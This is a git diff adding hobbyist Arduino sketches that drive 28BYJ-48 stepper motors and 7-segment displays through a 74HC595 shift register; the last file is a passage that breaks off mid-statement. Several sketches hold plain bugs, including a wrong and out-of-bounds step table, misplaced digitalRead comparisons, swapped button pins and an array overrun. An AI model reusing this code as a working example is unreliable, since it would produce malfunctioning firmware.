diff --git a/Projects/28BYJ Stepper/Third_WithButtons/Third_WithButtons.ino b/Projects/28BYJ Stepper/Third_WithButtons/Third_WithButtons.ino new file mode 100644 index 0000000..1e880d2 --- /dev/null +++ b/Projects/28BYJ Stepper/Third_WithButtons/Third_WithButtons.ino @@ -0,0 +1,86 @@ + +int leftCCW[] = {8, 9, 10, 11}; +int leftCW[] = {11, 10, 9, 8}; +int leftButtons[] = {2, 3}; + +int rightCCW[] = {4, 5, 6, 7}; +int rightCW[] = {7, 6, 5, 4}; +int rightButtons[] = {0, 1}; + +const int motorSteps[8][4] = { +{1, 0, 0, 0}, +{1, 1, 0, 0}, +{0, 1, 0, 0}, +{0, 1, 1, 0}, +{0, 0, 0, 1}, +{0, 0, 1, 1}, +{0, 0, 0, 1}, +{1, 0, 0, 1} +}; + +int motorSpeed = 0; + +void setup() { + for (int i=0; i < 4; i++) { + pinMode(leftCW[i], OUTPUT); + pinMode(rightCW[i], OUTPUT); + } + for (int i = 0; i < 2; i++) { + pinMode(leftButtons[i], INPUT); + pinMode(rightButtons[i], INPUT); + } +} + +void loop() { + if (analogRead(leftButtons[0]) == 0) { + leftUp(); + } else if(analogRead(leftButtons[1]) == 1){ + leftDown(); + } + + if (analogRead(leftButtons[0]) == 0) { + rightUp(); + } else if(analogRead(leftButtons[1]) == 1){ + rightDown(); + } +} + +void leftUp() { + for(int i=0; i < 8; i++){ + for(int j=0; j < 4; j++){ + // Left motor + digitalWrite(leftCW[j], motorSteps[j][i]); + delay(1); + } + } +} + +void leftDown() { + for(int i=0; i < 8; i++){ + for(int j=0; j < 4; j++){ + // Left motor + digitalWrite(leftCCW[j], motorSteps[j][i]); + delay(1); + } + } +} + +void rightUp() { + for(int i=0; i < 8; i++){ + for(int j=0; j < 4; j++){ + // Right motor + digitalWrite(rightCCW[j], motorSteps[j][i]); + delay(1); + } + } +} + +void rightDown() { + for(int i=0; i < 8; i++){ + for(int j=0; j < 4; j++){ + // Right motor + digitalWrite(rightCW[j], motorSteps[j][i]); + delay(1); + } + } +} diff --git a/Projects/28BYJ Stepper/first_test/first_test.ino b/Projects/28BYJ Stepper/first_test/first_test.ino new file mode 100644 index 0000000..58d0d16 --- /dev/null +++ b/Projects/28BYJ Stepper/first_test/first_test.ino @@ -0,0 +1,166 @@ +// This Arduino example demonstrates bidirectional operation of a +// 28BYJ-48, which is readily available on eBay, using a ULN2003 +// interface board to drive the stepper. The 28BYJ-48 motor is a 4- +// phase, 8-beat motor, geared down by a factor of 68. Onint e bipolar +// winding is on motor pins 1 & 3 and the other on motor pins 2 & 4. +// Refer to the manufacturer's documentation of Changzhou Fulling +// Motor Co., Ltd., among others. The step angle is 5.625/64 and the +// operating Frequency is 100pps. Current draw is 92mA. In this +// example, the speed and direction of the stepper motor is determined +// by adjusting a 1k-ohm potentiometer connected to Arduino pin A2. +// When the potentiometer is rotated fully counterclockwise, the motor +// will rotate at full counterclockwise speed. As the potentiometer is +// rotated clockwise, the motor will continue to slow down until is +// reaches its minimum speed at the the potentiometer's midpoint value . +// Once the potentiometer crosses its midpoint, the motor will reverse +// direction. As the potentiometer is rotated further clockwise, the speed +// of the motor will increase until it reaches its full clockwise rotation +// speed when the potentiometer has been rotated fully clockwise. +//////////////////////////////////////////////// + +//declare variables for the motor pins +int motorPin1 = 8; // Blue - 28BYJ48 pin 1 +int motorPin2 = 9; // Pink - 28BYJ48 pin 2 +int motorPin3 = 10; // Yellow - 28BYJ48 pin 3 +int motorPin4 = 11; // Orange - 28BYJ48 pin 4 + // Red - 28BYJ48 pin 5 (VCC) + +int motorSpeed = 0; //variable to set stepper speed +int potPin = 2; //potentiometer connected to A2 +int potValue = 0; //variable to read A0 input + + +////////////////////////////////////////////////////////////////////////////// +void setup() { + //declare the motor pins as outputs + pinMode(motorPin1, OUTPUT); + pinMode(motorPin2, OUTPUT); + pinMode(motorPin3, OUTPUT); + pinMode(motorPin4, OUTPUT); + Serial.begin(9600); +} + +////////////////////////////////////////////////////////////////////////////// +void loop(){ + + //potValue = analogRead(potPin); // read the value of the potentiometer + Serial.println(potValue); // View full range from 0 - 1024 in Serial Monitor + if (potValue < 535){ // if potentiometer reads 0 to 535 do this + motorSpeed = (potValue/15 + 5); //scale potValue to be useful for motor + clockwise(); //go to the ccw rotation function + } + else { //value of the potentiometer is 512 - 1024 + motorSpeed = ((1024-potValue)/15 + 5); //scale potValue for motor speed + counterclockwise(); //go the the cw rotation function + } +} + +////////////////////////////////////////////////////////////////////////////// +//set pins to ULN2003 high in sequence from 1 to 4 +//delay "motorSpeed" between each pin setting (to determine speed) + +void counterclockwise (){ + // 1 + digitalWrite(motorPin1, HIGH); + digitalWrite(motorPin2, LOW); + digitalWrite(motorPin3, LOW); + digitalWrite(motorPin4, LOW); + delay(motorSpeed); + // 2 + digitalWrite(motorPin1, HIGH); + digitalWrite(motorPin2, HIGH); + digitalWrite(motorPin3, LOW); + digitalWrite(motorPin4, LOW); + delay (motorSpeed); + // 3 + digitalWrite(motorPin1, LOW); + digitalWrite(motorPin2, HIGH); + digitalWrite(motorPin3, LOW); + digitalWrite(motorPin4, LOW); + delay(motorSpeed); + // 4 + digitalWrite(motorPin1, LOW); + digitalWrite(motorPin2, HIGH); + digitalWrite(motorPin3, HIGH); + digitalWrite(motorPin4, LOW); + delay(motorSpeed); + // 5 + digitalWrite(motorPin1, LOW); + digitalWrite(motorPin2, LOW); + digitalWrite(motorPin3, HIGH); + digitalWrite(motorPin4, LOW); + delay(motorSpeed); + // 6 + digitalWrite(motorPin1, LOW); + digitalWrite(motorPin2, LOW); + digitalWrite(motorPin3, HIGH); + digitalWrite(motorPin4, HIGH); + delay (motorSpeed); + // 7 + digitalWrite(motorPin1, LOW); + digitalWrite(motorPin2, LOW); + digitalWrite(motorPin3, LOW); + digitalWrite(motorPin4, HIGH); + delay(motorSpeed); + // 8 + digitalWrite(motorPin1, HIGH); + digitalWrite(motorPin2, LOW); + digitalWrite(motorPin3, LOW); + digitalWrite(motorPin4, HIGH); + delay(motorSpeed); +} + +////////////////////////////////////////////////////////////////////////////// +//set pins to ULN2003 high in sequence from 4 to 1 +//delay "motorSpeed" between each pin setting (to determine speed) + +void clockwise(){ + // 1 + digitalWrite(motorPin4, HIGH); + digitalWrite(motorPin3, LOW); + digitalWrite(motorPin2, LOW); + digitalWrite(motorPin1, LOW); + delay(motorSpeed); + // 2 + digitalWrite(motorPin4, HIGH); + digitalWrite(motorPin3, HIGH); + digitalWrite(motorPin2, LOW); + digitalWrite(motorPin1, LOW); + delay (motorSpeed); + // 3 + digitalWrite(motorPin4, LOW); + digitalWrite(motorPin3, HIGH); + digitalWrite(motorPin2, LOW); + digitalWrite(motorPin1, LOW); + delay(motorSpeed); + // 4 + digitalWrite(motorPin4, LOW); + digitalWrite(motorPin3, HIGH); + digitalWrite(motorPin2, HIGH); + digitalWrite(motorPin1, LOW); + delay(motorSpeed); + // 5 + digitalWrite(motorPin4, LOW); + digitalWrite(motorPin3, LOW); + digitalWrite(motorPin2, HIGH); + digitalWrite(motorPin1, LOW); + delay(motorSpeed); + // 6 + digitalWrite(motorPin4, LOW); + digitalWrite(motorPin3, LOW); + digitalWrite(motorPin2, HIGH); + digitalWrite(motorPin1, HIGH); + delay (motorSpeed); + // 7 + digitalWrite(motorPin4, LOW); + digitalWrite(motorPin3, LOW); + digitalWrite(motorPin2, LOW); + digitalWrite(motorPin1, HIGH); + delay(motorSpeed); + // 8 + digitalWrite(motorPin4, HIGH); + digitalWrite(motorPin3, LOW); + digitalWrite(motorPin2, LOW); + digitalWrite(motorPin1, HIGH); + delay(motorSpeed); +} diff --git a/Projects/28BYJ Stepper/second/second.ino b/Projects/28BYJ Stepper/second/second.ino new file mode 100644 index 0000000..646126a --- /dev/null +++ b/Projects/28BYJ Stepper/second/second.ino @@ -0,0 +1,95 @@ + +int leftCCW[] = {8, 9, 10, 11}; +int leftCW[] = {11, 10, 9, 8}; +int leftButtons[] = {0, 1}; + +int rightCCW[] = {4, 5, 6, 7}; +int rightCW[] = {7, 6, 5, 4}; +int rightButtons[] = {2, 3}; + +const int motorSteps[8][4] = { +{1, 0, 0, 0}, +{1, 1, 0, 0}, +{0, 1, 0, 0}, +{0, 1, 1, 0}, +{0, 0, 0, 1}, +{0, 0, 1, 1}, +{0, 0, 0, 1}, +{1, 0, 0, 1} +}; + +int motorSpeed = 0; + +void setup() +{ +for (int i=0; i < 4; i++) { +pinMode(leftCW[i], OUTPUT); +pinMode(rightCW[i], OUTPUT); +} +for (int i = 0; i < 2; i++) { +pinMode(leftButtons[i], INPUT); +pinMode(rightButtons[i], INPUT); +} + +pinMode(12, INPUT); + +Serial.begin(9600); +} + +void loop() +{ +if (digitalRead(12) == LOW) +{ windUp(); } +else { windDown(); } +} + +void windUp() { + while(digitalRead(rightButtons[1]) == LOW || digitalRead(leftButtons[1] == LOW)){ + if (digitalRead(rightButtons[1] == LOW)) + { + for(int i=0; i < 8; i++){ + for(int j=0; j < 4; j++){ + // Right motor + digitalWrite(rightCCW[j], motorSteps[j][i]); + delay(1); + } + } + } + + if (digitalRead(leftButtons[1] == LOW)) + { + for(int i=0; i < 8; i++){ + for(int j=0; j < 4; j++){ + // Left motor + digitalWrite(leftCW[j], motorSteps[j][i]); + delay(1); + } + } + } + } +} + +void windDown() { + while(digitalRead(rightButtons[0]) == LOW || digitalRead(leftButtons[0] == LOW)){ + if (digitalRead(rightButtons[0] == LOW)) { + for(int i=0; i < 8; i++){ + for(int j=0; j < 4; j++){ + // Right motor + digitalWrite(rightCW[j], motorSteps[j][i]); + delay(1); + } + } + } + + if (digitalRead(leftButtons[0] == LOW)) { + for(int i=0; i < 8; i++){ + for(int j=0; j < 4; j++){ + // Left motor + digitalWrite(leftCCW[j], motorSteps[j][i]); + delay(1); + } + } + } + } + +} diff --git a/Projects/7 Segment Main/The_Final_Coutdown_/The_Final_Coutdown_.ino b/Projects/7 Segment Main/The_Final_Coutdown_/The_Final_Coutdown_.ino new file mode 100755 index 0000000..3815b9b --- /dev/null +++ b/Projects/7 Segment Main/The_Final_Coutdown_/The_Final_Coutdown_.ino @@ -0,0 +1,477 @@ +/* --------------------------------------------------------- + * | Arduino Experimentation Kit Example Code | + * | CIRC-05 .: 8 More LEDs :. (74HC595 Shift Register) | + * --------------------------------------------------------- + * + * We have already controlled 8 LEDs however this does it in a slightly + * different manner. Rather than using 8 pins we will use just three + * and an additional chip. + * + * + */ + + +//Pin Definitions +//Pin Definitions +//The 74HC595 uses a serial communication +//link which has three pins +int data = 11; +int clock = 13; +int latch = 12; + +//Used for single LED manipulation +int ledState = 0; +const int ON = HIGH; +const int OFF = LOW; + + +int ledDigitalOne[] = {10, 9, 8, 7, 6, 5, 4}; //the three digital pins of the digital LED + //9 = redPin, 10 = greenPin, 11 = bluePin +//Predefined Colors + +const boolean One[] = {ON, OFF, OFF, OFF, OFF, OFF, ON}; +const boolean Two[] = {OFF, ON, ON, ON, OFF, ON, ON}; +const boolean Three[] = {ON, ON, OFF, ON, OFF, ON, ON}; +const boolean Four[] = {ON, OFF, OFF, ON, ON, OFF, ON}; +const boolean Five[] = {ON, ON, OFF, ON, ON, ON, OFF}; +const boolean Six[] = {ON, ON, ON, ON, ON, ON, OFF}; +const boolean Seven[] = {ON, OFF, OFF, OFF, OFF, ON, ON}; +const boolean Eight[] = {ON, ON, ON, ON, ON, ON, ON}; +const boolean Nine[] = {ON, ON, OFF, ON, ON, ON, ON}; +const boolean Zero[] = {ON, ON, ON, OFF, ON, ON, ON}; + + +//An Array that stores the predefined colors (allows us to later randomly display a color) +const boolean* NUMBERS[] = {One, Two, Three, Four, Five, Six, Seven, Eight, Nine, Zero}; + + +void setup() +{ + pinMode(data, OUTPUT); + pinMode(clock, OUTPUT); + pinMode(latch, OUTPUT); + + + + for(int i = 0; i < 9; i++) + { + pinMode(ledDigitalOne[i], OUTPUT); //Set the three LED pins as outputs + } + + +} + +void loop() +{ + int delayTime = 500; + for (int i = 0; i < 5; i++) + { + changeLED(0,ON); // - 9 + changeLED(1,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + setNumber(ledDigitalOne, Nine); + delay(1000); + setNumber(ledDigitalOne, Eight); + delay(1000); + setNumber(ledDigitalOne, Seven); + delay(1000); + setNumber(ledDigitalOne, Six); + delay(1000); + setNumber(ledDigitalOne, Five); + delay(1000); + setNumber(ledDigitalOne, Four); + delay(1000); + setNumber(ledDigitalOne, Three); + delay(1000); + setNumber(ledDigitalOne, Two); + delay(1000); + setNumber(ledDigitalOne, One); + delay(1000); + setNumber(ledDigitalOne, Zero); + delay(1000); + + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 8 + changeLED(1,ON); + changeLED(2,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + setNumber(ledDigitalOne, Nine); + delay(1000); + setNumber(ledDigitalOne, Eight); + delay(1000); + setNumber(ledDigitalOne, Seven); + delay(1000); + setNumber(ledDigitalOne, Six); + delay(1000); + setNumber(ledDigitalOne, Five); + delay(1000); + setNumber(ledDigitalOne, Four); + delay(1000); + setNumber(ledDigitalOne, Three); + delay(1000); + setNumber(ledDigitalOne, Two); + delay(1000); + setNumber(ledDigitalOne, One); + delay(1000); + setNumber(ledDigitalOne, Zero); + delay(1000); + + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(3,ON); // - 7 + changeLED(5,ON); + changeLED(6,ON); + setNumber(ledDigitalOne, Nine); + delay(1000); + setNumber(ledDigitalOne, Eight); + delay(1000); + setNumber(ledDigitalOne, Seven); + delay(1000); + setNumber(ledDigitalOne, Six); + delay(1000); + setNumber(ledDigitalOne, Five); + delay(1000); + setNumber(ledDigitalOne, Four); + delay(1000); + setNumber(ledDigitalOne, Three); + delay(1000); + setNumber(ledDigitalOne, Two); + delay(1000); + setNumber(ledDigitalOne, One); + delay(1000); + setNumber(ledDigitalOne, Zero); + delay(1000); + + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 6 + changeLED(1,ON); + changeLED(2,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + setNumber(ledDigitalOne, Nine); + delay(1000); + setNumber(ledDigitalOne, Eight); + delay(1000); + setNumber(ledDigitalOne, Seven); + delay(1000); + setNumber(ledDigitalOne, Six); + delay(1000); + setNumber(ledDigitalOne, Five); + delay(1000); + setNumber(ledDigitalOne, Four); + delay(1000); + setNumber(ledDigitalOne, Three); + delay(1000); + setNumber(ledDigitalOne, Two); + delay(1000); + setNumber(ledDigitalOne, One); + delay(1000); + setNumber(ledDigitalOne, Zero); + delay(1000); + + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 5 + changeLED(1,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + setNumber(ledDigitalOne, Nine); + delay(1000); + setNumber(ledDigitalOne, Eight); + delay(1000); + setNumber(ledDigitalOne, Seven); + delay(1000); + setNumber(ledDigitalOne, Six); + delay(1000); + setNumber(ledDigitalOne, Five); + delay(1000); + setNumber(ledDigitalOne, Four); + delay(1000); + setNumber(ledDigitalOne, Three); + delay(1000); + setNumber(ledDigitalOne, Two); + delay(1000); + setNumber(ledDigitalOne, One); + delay(1000); + setNumber(ledDigitalOne, Zero); + delay(1000); + + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 4 + changeLED(3,ON); + changeLED(4,ON); + changeLED(6,ON); + setNumber(ledDigitalOne, Nine); + delay(1000); + setNumber(ledDigitalOne, Eight); + delay(1000); + setNumber(ledDigitalOne, Seven); + delay(1000); + setNumber(ledDigitalOne, Six); + delay(1000); + setNumber(ledDigitalOne, Five); + delay(1000); + setNumber(ledDigitalOne, Four); + delay(1000); + setNumber(ledDigitalOne, Three); + delay(1000); + setNumber(ledDigitalOne, Two); + delay(1000); + setNumber(ledDigitalOne, One); + delay(1000); + setNumber(ledDigitalOne, Zero); + delay(1000); + + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 3 + changeLED(1,ON); + changeLED(3,ON); + changeLED(5,ON); + changeLED(6,ON); + setNumber(ledDigitalOne, Nine); + delay(1000); + setNumber(ledDigitalOne, Eight); + delay(1000); + setNumber(ledDigitalOne, Seven); + delay(1000); + setNumber(ledDigitalOne, Six); + delay(1000); + setNumber(ledDigitalOne, Five); + delay(1000); + setNumber(ledDigitalOne, Four); + delay(1000); + setNumber(ledDigitalOne, Three); + delay(1000); + setNumber(ledDigitalOne, Two); + delay(1000); + setNumber(ledDigitalOne, One); + delay(1000); + setNumber(ledDigitalOne, Zero); + delay(1000); + + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - 2 + changeLED(2,ON); + changeLED(0,ON); + changeLED(5,ON); + changeLED(6,ON); + setNumber(ledDigitalOne, Nine); + delay(1000); + setNumber(ledDigitalOne, Eight); + delay(1000); + setNumber(ledDigitalOne, Seven); + delay(1000); + setNumber(ledDigitalOne, Six); + delay(1000); + setNumber(ledDigitalOne, Five); + delay(1000); + setNumber(ledDigitalOne, Four); + delay(1000); + setNumber(ledDigitalOne, Three); + delay(1000); + setNumber(ledDigitalOne, Two); + delay(1000); + setNumber(ledDigitalOne, One); + delay(1000); + setNumber(ledDigitalOne, Zero); + delay(1000); + + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(3,ON); // - 1 + changeLED(6,ON); + setNumber(ledDigitalOne, Nine); + delay(1000); + setNumber(ledDigitalOne, Eight); + delay(1000); + setNumber(ledDigitalOne, Seven); + delay(1000); + setNumber(ledDigitalOne, Six); + delay(1000); + setNumber(ledDigitalOne, Five); + delay(1000); + setNumber(ledDigitalOne, Four); + delay(1000); + setNumber(ledDigitalOne, Three); + delay(1000); + setNumber(ledDigitalOne, Two); + delay(1000); + setNumber(ledDigitalOne, One); + delay(1000); + setNumber(ledDigitalOne, Zero); + delay(1000); + + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(3,ON); // - 0 + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + setNumber(ledDigitalOne, Nine); + delay(1000); + setNumber(ledDigitalOne, Eight); + delay(1000); + setNumber(ledDigitalOne, Seven); + delay(1000); + setNumber(ledDigitalOne, Six); + delay(1000); + setNumber(ledDigitalOne, Five); + delay(1000); + setNumber(ledDigitalOne, Four); + delay(1000); + setNumber(ledDigitalOne, Three); + delay(1000); + setNumber(ledDigitalOne, Two); + delay(1000); + setNumber(ledDigitalOne, One); + delay(1000); + setNumber(ledDigitalOne, Zero); + delay(1000); + + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + } +} + + + +/* + * updateLEDs() - sends the LED states set in ledStates to the 74HC595 + * sequence + */ +void updateLEDs(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + shiftOut(data, clock, MSBFIRST, value); //Shifts out the 8 bits to the shift register + digitalWrite(latch, HIGH); //Pulls the latch high displaying the data +} + +/* + * updateLEDsLong() - sends the LED states set in ledStates to the 74HC595 + * sequence. Same as updateLEDs except the shifting out is done in software + * so you can see what is happening. + */ +void updateLEDsLong(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + for(int i = 0; i < 8; i++){ //Will repeat 8 times (once for each bit) + int bit = value & B10000000; //We use a "bitmask" to select only the eighth + //bit in our number (the one we are addressing this time through + value = value << 1; //we move our number up one bit value so next time bit 7 will be + //bit 8 and we will do our math on it + if(bit == 128){digitalWrite(data, HIGH);} //if bit 8 is set then set our data pin high + else{digitalWrite(data, LOW);} //if bit 8 is unset then set the data pin low + digitalWrite(clock, HIGH); //the next three lines pulse the clock pin + delay(1); + digitalWrite(clock, LOW); + } + digitalWrite(latch, HIGH); //pulls the latch high shifting our data into being displayed +} + + +//These are used in the bitwise math that we use to change individual LEDs +//For more details http://en.wikipedia.org/wiki/Bitwise_operation +int bits[] = {B00000001, B00000010, B00000100, B00001000, B00010000, B00100000, B01000000, B10000000}; +int masks[] = {B11111110, B11111101, B11111011, B11110111, B11101111, B11011111, B10111111, B01111111}; +/* + * changeLED(int led, int state) - changes an individual LED + * LEDs are 0 to 7 and state is either 0 - OFF or 1 - ON + */ + void changeLED(int led, int state){ + ledState = ledState & masks[led]; //clears ledState of the bit we are addressing + if(state == ON){ledState = ledState | bits[led];} //if the bit is on we will add it to ledState + updateLEDs(ledState); //send the new LED state to the shift register + } + + + + + + void setNumber(int* led, boolean* number) +{ + for(int i = 0; i < 7; i++) + { + digitalWrite(led[i], number[i]); + } +} + +/* A version of setColor that allows for using const boolean colors +*/ + +void setNumber(int* led, const boolean* number) +{ + boolean tempNumber[] = {number[0], number[1], number[2], number[3], number[4], number[5], number[6]}; + setNumber(led, tempNumber); +} diff --git a/Projects/7 Segment Main/_2x7_Segment_74HC_HEI_ELIAS_/_2x7_Segment_74HC_HEI_ELIAS_.ino b/Projects/7 Segment Main/_2x7_Segment_74HC_HEI_ELIAS_/_2x7_Segment_74HC_HEI_ELIAS_.ino new file mode 100755 index 0000000..461dc80 --- /dev/null +++ b/Projects/7 Segment Main/_2x7_Segment_74HC_HEI_ELIAS_/_2x7_Segment_74HC_HEI_ELIAS_.ino @@ -0,0 +1,323 @@ +/* --------------------------------------------------------- + * | Arduino Experimentation Kit Example Code | + * | CIRC-05 .: 8 More LEDs :. (74HC595 Shift Register) | + * --------------------------------------------------------- + * + * We have already controlled 8 LEDs however this does it in a slightly + * different manner. Rather than using 8 pins we will use just three + * and an additional chip. + * + * + */ + + +//Pin Definitions +//Pin Definitions +//The 74HC595 uses a serial communication +//link which has three pins +int data = 2; +int clock = 3; +int latch = 4; + +//Used for single LED manipulation +int ledState = 0; +const int ON = HIGH; +const int OFF = LOW; + + + + + +int ledDigitalOne[] = {13, 12, 11, 10, 9, 8, 7, 6}; //the three digital pins of the digital LED + //9 = redPin, 10 = greenPin, 11 = bluePin + +const boolean ON1 = HIGH; //Define on as LOW (this is because we use a common + //Anode RGB LED (common pin is connected to +5 volts) +const boolean OFF1 = LOW; //Define off as HIGH + +//Predefined Colors + +const boolean One[] = {ON1, OFF1, OFF1, OFF1, OFF1, OFF1, ON1}; +const boolean Two[] = {OFF1, ON1, ON1, ON1, OFF1, ON1, ON1}; +const boolean Three[] = {ON1, ON1, OFF1, ON1, OFF1, ON1, ON1}; +const boolean Four[] = {ON1, OFF1, OFF1, ON1, ON1, OFF1, ON1}; +const boolean Five[] = {ON1, ON1, OFF1, ON1, ON1, ON1, OFF1}; +const boolean Six[] = {ON1, ON1, ON1, ON1, ON1, ON1, OFF1}; +const boolean Seven[] = {ON1, OFF1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean Eight[] = {ON1, ON1, ON1, ON1, ON1, ON1, ON1}; +const boolean Nine[] = {ON1, ON1, OFF1, ON1, ON1, ON1, ON1}; +const boolean Zero[] = {ON1, ON1, ON1, OFF1, ON1, ON1, ON1}; + +const boolean A[] = {OFF1, ON1, ON1, OFF1, ON1, ON1, OFF1}; +const boolean B[] = {ON1, ON1, ON1, OFF1, ON1, ON1, ON1}; +const boolean C[] = {ON1, ON1, OFF1, OFF1, OFF1, OFF1, ON1}; +const boolean D[] = {ON1, ON1, OFF1, ON1, OFF1, OFF1, OFF1}; +const boolean E[] = {ON1, ON1, ON1, OFF1, OFF1, OFF1, ON1}; +const boolean F[] = {OFF1, ON1, OFF1, OFF1, OFF1, OFF1, OFF1}; +const boolean G[] = {ON1, ON1, OFF1, OFF1, ON1, ON1, ON1}; +const boolean H[] = {OFF1, ON1, ON1, OFF1, ON1, ON1, OFF1}; +const boolean I[] = {OFF1, OFF1, OFF1, ON1, OFF1, OFF1, OFF1}; +const boolean J[] = {ON1, ON1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean K[] = {OFF1, ON1, ON1, ON1, OFF1, OFF1, ON1}; +const boolean L[] = {ON1, ON1, OFF1, OFF1, OFF1, OFF1, ON1}; +const boolean M[] = {OFF1, ON1, OFF1, OFF1, OFF1, ON1, OFF1}; +const boolean N[] = {OFF1, ON1, OFF1, ON1, OFF1, ON1, ON1}; +const boolean O[] = {ON1, ON1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean P[] = {OFF1, ON1, OFF1, OFF1, OFF1, OFF1, OFF1}; +const boolean Q[] = {ON1, ON1, OFF1, OFF1, OFF1, ON1, OFF1}; +const boolean R[] = {OFF1, ON1, OFF1, ON1, OFF1, OFF1, ON1}; +const boolean S[] = {ON1, OFF1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean T[] = {OFF1, OFF1, OFF1, ON1, OFF1, OFF1, OFF1}; +const boolean U[] = {ON1, ON1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean V[] = {OFF1, OFF1, OFF1, ON1, OFF1, OFF1, OFF1}; +const boolean W[] = {ON1, ON1, OFF1, ON1, OFF1, ON1, ON1}; +const boolean X[] = {OFF1, ON1, OFF1, OFF1, OFF1, ON1, OFF1}; +const boolean Y[] = {OFF1, OFF1, OFF1, ON1, OFF1, OFF1, OFF1}; +const boolean Z[] = {ON1, ON1, ON1, OFF1, OFF1, OFF1, ON1}; +const boolean EXCLA[] = {OFF1, ON1, OFF1, OFF1, OFF1, OFF1, OFF1, ON1}; +const boolean BLANK[] = {OFF1, OFF1, OFF1, OFF1, OFF1, OFF1, OFF1, OFF1}; + + +//An Array that stores the predefined colors (allows us to later randomly display a color) +const boolean* NUMBERS[] = {One, Two, Three, Four, Five, Six, Seven, Eight, Nine, Zero}; + + + + + +void setup() +{ + pinMode(data, OUTPUT); + pinMode(clock, OUTPUT); + pinMode(latch, OUTPUT); + + + + for(int i = 0; i < 9; i++) + { + pinMode(ledDigitalOne[i], OUTPUT); //Set the three LED pins as outputs + } + + +} + +/* + * loop() - this function will start after setup finishes and then repeat + * we set which LEDs we want on then call a routine which sends the states to the 74HC595 + */ +void loop() // run over and over again +{ + int delayTime = 500; + for (int i = 0; i < 31; i++) + { + changeLED(0,ON); // -- H + changeLED(1,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, H); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // -- E + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + + setNumber(ledDigitalOne, E); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(3,ON); // - I + + setNumber(ledDigitalOne, I); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + setNumber(ledDigitalOne, BLANK); + delay(1000); + + changeLED(0,ON); // -- E + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + + setNumber(ledDigitalOne, E); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - L + + setNumber(ledDigitalOne, L); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(3,ON); // - I + + setNumber(ledDigitalOne, I); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - A + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, A); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // -- S + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, S); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - EXCLA + changeLED(7,ON); + + setNumber(ledDigitalOne, 